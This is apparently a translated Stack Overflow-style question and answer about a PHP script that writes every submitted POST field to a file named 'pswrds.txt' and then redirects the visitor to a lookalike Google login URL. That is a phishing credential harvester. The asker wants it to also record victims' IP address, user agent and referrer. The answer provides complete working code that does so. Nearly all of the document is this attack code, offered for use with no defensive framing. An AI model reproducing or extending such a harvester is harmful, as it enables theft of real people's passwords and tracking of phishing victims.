-2

以下代码将某些信息保存到 pswrds.txt:

<?php

    header("Location: https://www.randomurl.com/accounts/ServiceLoginAuth ");
    $handle = fopen("pswrds.txt", "a");

    foreach($_POST as $variable => $value) 
    {
        fwrite($handle, $variable);
        fwrite($handle, "=");
        fwrite($handle, $value);
        fwrite($handle, "\r\n");
    }

    fwrite($handle, "\r\n");
    fclose($handle);
    exit;

?>

如何获取代码以同时保存 IP、用户代理和推荐人?

$ip = $_SERVER['REMOTE_ADDR'];
$browser = $_SERVER['HTTP_USER_AGENT'];
$referrer = $_SERVER['HTTP_REFERER'];
4

1 回答 1

1

您可以将 $_POST 分配给本地范围内的变量,然后将所需的变量添加到数组中:

$post = $_POST;
$post['ip'] = $_SERVER['REMOTE_ADDR'];
$post['browser'] = $_SERVER['HTTP_USER_AGENT'];
$post['referrer'] = $_SERVER['HTTP_REFERER'];

然后像现在一样继续你的循环,但迭代 $post 而不是 $_POST。

注意:您也应该停止自己对换行符进行硬编码,改用 PHP_EOL。http://php.net/manual/en/reserved.constants.php#constant.php-eol

更新

<?php

    header("Location: https://www.randomurl.com/accounts/ServiceLoginAuth ");
    $handle = fopen("pswrds.txt", "a");

    $post = $_POST;
    $post['ip'] = $_SERVER['REMOTE_ADDR'];
    $post['browser'] = $_SERVER['HTTP_USER_AGENT'];
    $post['referrer'] = $_SERVER['HTTP_REFERER'];

    foreach($post as $variable => $value) 
    {
        fwrite($handle, $variable);
        fwrite($handle, "=");
        fwrite($handle, $value);
        fwrite($handle, PHP_EOL);
    }

    fwrite($handle, PHP_EOL);
    fclose($handle);
    exit;

?>
于 2015-05-20T05:23:01.690 回答